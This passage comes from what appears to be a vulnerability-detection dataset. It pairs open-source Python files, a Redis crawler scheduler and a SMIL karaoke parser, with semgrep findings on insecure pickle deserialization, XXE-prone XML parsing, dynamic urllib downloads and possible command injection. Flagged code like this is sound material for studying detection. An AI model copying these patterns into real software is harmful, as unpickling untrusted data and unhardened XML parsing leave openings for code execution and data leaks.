timeout for all 'requests'.", "remediation": "requests.get(f'https://pypi.org/pypi/{package}/json', timeout=30)", "location": {"file_path": "unknown", "line_start": 52, "line_end": 52, "column_start": 20, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/221d9e80eefe47a4.py", "start": {"line": 52, "col": 20, "offset": 1503}, "end": {"line": 52, "col": 73, "offset": 1556}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(f'https://pypi.org/pypi/{package}/json', timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_221d9e80eefe47a4_6d136a24", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 14, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/221d9e80eefe47a4.py", "start": {"line": 65, "col": 14, "offset": 2003}, "end": {"line": 65, "col": 27, "offset": 2016}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_221d9e80eefe47a4_c759aedf", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 109, "line_end": 109, "column_start": 13, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/221d9e80eefe47a4.py", "start": {"line": 109, "col": 13, "offset": 3304}, "end": {"line": 109, "col": 36, "offset": 3327}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
8
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 109 ]
[ 109 ]
[ 13 ]
[ 36 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
__init__.py
/pipflow/src/__init__.py
iMerica/pipflow
MIT
2024-11-18T22:36:21.959353+00:00
1,561,381,482,000
03331741a8f0e07521787f07e8e06b6c3bfefabb
2
{ "blob_id": "03331741a8f0e07521787f07e8e06b6c3bfefabb", "branch_name": "refs/heads/master", "committer_date": 1561381482000, "content_id": "5329152dc36659fac72e65bcfc0057df42f6dc8b", "detected_licenses": [ "MIT" ], "directory_id": "92f077eca32c5bbbbab15856094a584c2e0e1ce8", "extension": "py", "filename": "redis_scheduler.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2475, "license": "MIT", "license_type": "permissive", "path": "/aiocrawler/schedulers/redis_scheduler.py", "provenance": "stack-edu-0054.json.gz:587248", "repo_name": "imlzg/aiocrawler", "revision_date": 1561381482000, "revision_id": "906eba6e2dc1b64144b90e61db717dadc8170be5", "snapshot_id": "7088ebcfb79f3dc113efa41aaa116a28d1374a03", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/imlzg/aiocrawler/906eba6e2dc1b64144b90e61db717dadc8170be5/aiocrawler/schedulers/redis_scheduler.py", "visit_date": "2022-01-22T00:33:11.710606" }
2.328125
stackv2
# coding: utf-8 # Date : 2019/4/23 # Author : kylin1020 # PROJECT : aiocrawler # File : redis_scheduler import pickle from time import time from aiocrawler import Item from aiocrawler import Request from aiocrawler import BaseSettings from aiocrawler.extensions import RedisConnector from aioredis import ConnectionsPool from aiocrawler.schedulers.scheduler import BaseScheduler class RedisScheduler(BaseScheduler, RedisConnector): def __init__(self, settings: BaseSettings, redis_pool: ConnectionsPool = None): BaseScheduler.__init__(self, settings) RedisConnector.__init__(self, settings, redis_pool) self.__redis_words_key = self.settings.REDIS_PROJECT_NAME + ':words' self.__redis_requests_key = self.settings.REDIS_PROJECT_NAME + ':requests' self.__redis_items_key = self.settings.REDIS_PROJECT_NAME + ':items' self.__redis_error_requests_key = self.settings.REDIS_PROJECT_NAME + ':errors' self.__interval__ = 0.05 self.__last_interaction = time() def _check(self): now = time() if now - self.__last_interaction <= self.__interval__: return True self.__last_interaction = now return False async def get_request(self): if self._check(): return None request = await self.redis_pool.execute('lpop', self.__redis_requests_key) if request: request = pickle.loads(request) return request async def get_word(self): if self._check(): return None key = await self.redis_pool.execute('lpop', self.__redis_words_key) if key: key = key.decode() return key async def send_request(self, request: Request): resp = await self.redis_pool.execute('lpush', self.__redis_requests_key, pickle.dumps(request)) if resp == 0: self.logger.error('Send <Request> Failed <url: {url}> to redis server', url=request.url) async def send_item(self, item: Item): await self.redis_pool.execute('lpush', self.__redis_items_key, pickle.dumps(item)) async def get_total_request(self): count = await self.redis_pool.execute('llen', self.__redis_requests_key) return count async def append_error_request(self, request: Request): await self.redis_pool.execute('sadd', self.__redis_error_requests_key, pickle.dumps(request))
69
34.87
101
13
544
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_9395db691de6863c_45c8bdf9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 43, "line_end": 43, "column_start": 23, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/9395db691de6863c.py", "start": {"line": 43, "col": 23, "offset": 1441}, "end": {"line": 43, "col": 44, "offset": 1462}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_9395db691de6863c_dbb40ebf", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 46, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/9395db691de6863c.py", "start": {"line": 57, "col": 46, "offset": 1889}, "end": {"line": 57, "col": 67, "offset": 1910}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_9395db691de6863c_874a87db", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 62, "line_end": 62, "column_start": 72, "column_end": 90, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/9395db691de6863c.py", "start": {"line": 62, "col": 72, "offset": 2150}, "end": {"line": 62, "col": 90, "offset": 2168}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_9395db691de6863c_c543de4a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 69, "line_end": 69, "column_start": 80, "column_end": 101, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/9395db691de6863c.py", "start": {"line": 69, "col": 80, "offset": 2452}, "end": {"line": 69, "col": 101, "offset": 2473}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-502", "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 43, 57, 62, 69 ]
[ 43, 57, 62, 69 ]
[ 23, 46, 72, 80 ]
[ 44, 67, 90, 101 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
redis_scheduler.py
/aiocrawler/schedulers/redis_scheduler.py
imlzg/aiocrawler
MIT
2024-11-18T22:36:22.597501+00:00
1,581,795,451,000
64ba203dee6c7c67e1e56a16b1bb55a0f25fdeab
3
{ "blob_id": "64ba203dee6c7c67e1e56a16b1bb55a0f25fdeab", "branch_name": "refs/heads/master", "committer_date": 1581795451000, "content_id": "5119de42c4c00521995ffd038312112f0c26570a", "detected_licenses": [ "Apache-2.0" ], "directory_id": "242b8a4a92c3b998402f45a8085599766b98d920", "extension": "py", "filename": "karaoke.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 150067030, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1724, "license": "Apache-2.0", "license_type": "permissive", "path": "/ptavi-p3/karaoke.py", "provenance": "stack-edu-0054.json.gz:587255", "repo_name": "mariagn95/PTAVI", "revision_date": 1581795451000, "revision_id": "c88ec3672f2830d01bf55f982a0d66fa7881f2c2", "snapshot_id": "97ca9880a518d4f1fa6fca990763a40a2d8bae4f", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/mariagn95/PTAVI/c88ec3672f2830d01bf55f982a0d66fa7881f2c2/ptavi-p3/karaoke.py", "visit_date": "2021-01-04T22:00:36.864974" }
2.65625
stackv2
#!/usr/bin/python3 # -*- coding: utf-8 -*- import sys import json import urllib.request from xml.sax import make_parser from xml.sax.handler import ContentHandler from smallsmilhandler import SmallSMILHandler class KaraokeLocal: def __init__(self, list): parser = make_parser() cHandler = SmallSMILHandler() parser.setContentHandler(cHandler) parser.parse(fichero) self.list = cHandler.get_tags() def __str__(self): tag_line = '' for name in self.list: tag_line += name[0] + "\t" for info in name[1]: if info != 'elements' and name[1][info] != " ": tag_line += info + '="' + name[1][info] + '"\t' tag_line += '\n' return tag_line def do_json(self, file_smil, file_json=''): if file_json == '': file_json = file_smil.replace('smil', 'json') with open(file_json, 'w') as jsonfile: json.dump(self.list, jsonfile, indent=3) def do_local(self): for name in self.list: for info in name[1]: if info == 'src': if name[1][info].startswith('http://'): url = name[1][info] file_name = url.split('/')[-1] urllib.request.urlretrieve(url, file_name) name[1][info] = file_name if __name__ == "__main__": try: fichero = sys.argv[1] except: sys.exit("Error. Usage: python3 karaoke.py file.smil") karaoke = KaraokeLocal(fichero) print(karaoke) karaoke.do_json(fichero) karaoke.do_local() karaoke.do_json(fichero, 'local.json') print(karaoke)
57
29.25
67
20
422
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_f7cce71ee89754b0_93e5126d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 7, "line_end": 7, "column_start": 1, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/f7cce71ee89754b0.py", "start": {"line": 7, "col": 1, "offset": 89}, "end": {"line": 7, "col": 32, "offset": 120}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_f7cce71ee89754b0_74f76ea6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 1, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/f7cce71ee89754b0.py", "start": {"line": 8, "col": 1, "offset": 121}, "end": {"line": 8, "col": 43, "offset": 163}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f7cce71ee89754b0_2ed222fc", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 14, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/f7cce71ee89754b0.py", "start": {"line": 34, "col": 14, "offset": 927}, "end": {"line": 34, "col": 34, "offset": 947}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dynamic-urllib-use-detected_f7cce71ee89754b0_2881e0c1", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 25, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": "CWE-939: Improper Authorization in Handler for Custom URL Scheme", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://cwe.mitre.org/data/definitions/939.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "path": "/tmp/tmp10dxl77l/f7cce71ee89754b0.py", "start": {"line": 44, "col": 25, "offset": 1320}, "end": {"line": 44, "col": 67, "offset": 1362}, "extra": {"message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "metadata": {"cwe": ["CWE-939: Improper Authorization in Handler for Custom URL Scheme"], "owasp": "A01:2017 - Injection", "source-rule-url": "https://github.com/PyCQA/bandit/blob/b1411bfb43795d3ffd268bef17a839dee954c2b1/bandit/blacklists/calls.py#L163", "bandit-code": "B310", "asvs": {"control_id": "5.2.4 Dynamic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://cwe.mitre.org/data/definitions/939.html"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-611", "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 7, 8 ]
[ 7, 8 ]
[ 1, 1 ]
[ 32, 43 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The Python documentation recommends using `defusedxml` ins...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
karaoke.py
/ptavi-p3/karaoke.py
mariagn95/PTAVI
Apache-2.0
2024-11-18T22:36:27.075137+00:00
1,562,569,826,000
ab4102236660042f52a006d5f09ca04a51fdf5ee
2
{ "blob_id": "ab4102236660042f52a006d5f09ca04a51fdf5ee", "branch_name": "refs/heads/master", "committer_date": 1562569826000, "content_id": "147030af57b66bdf56e441259f6ba805583b22d6", "detected_licenses": [ "MIT" ], "directory_id": "4991888dc48901a2d35c192516223003fafa7b6b", "extension": "py", "filename": "monitor_worker.py", "fork_events_count": 0, "gha_created_at": 1562568727000, "gha_event_created_at": 1684794540000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 195753339, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2159, "license": "MIT", "license_type": "permissive", "path": "/monitor_worker.py", "provenance": "stack-edu-0054.json.gz:587306", "repo_name": "ReallyLiri/resource-monitor-splunk", "revision_date": 1562569826000, "revision_id": "52a33d044fbb259f261775d1d8bcec30f2626787", "snapshot_id": "39023247120a8d1efc0bb7c4a89732f93e15eb15", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/ReallyLiri/resource-monitor-splunk/52a33d044fbb259f261775d1d8bcec30f2626787/monitor_worker.py", "visit_date": "2023-05-25T17:42:27.627272" }
2.5
stackv2
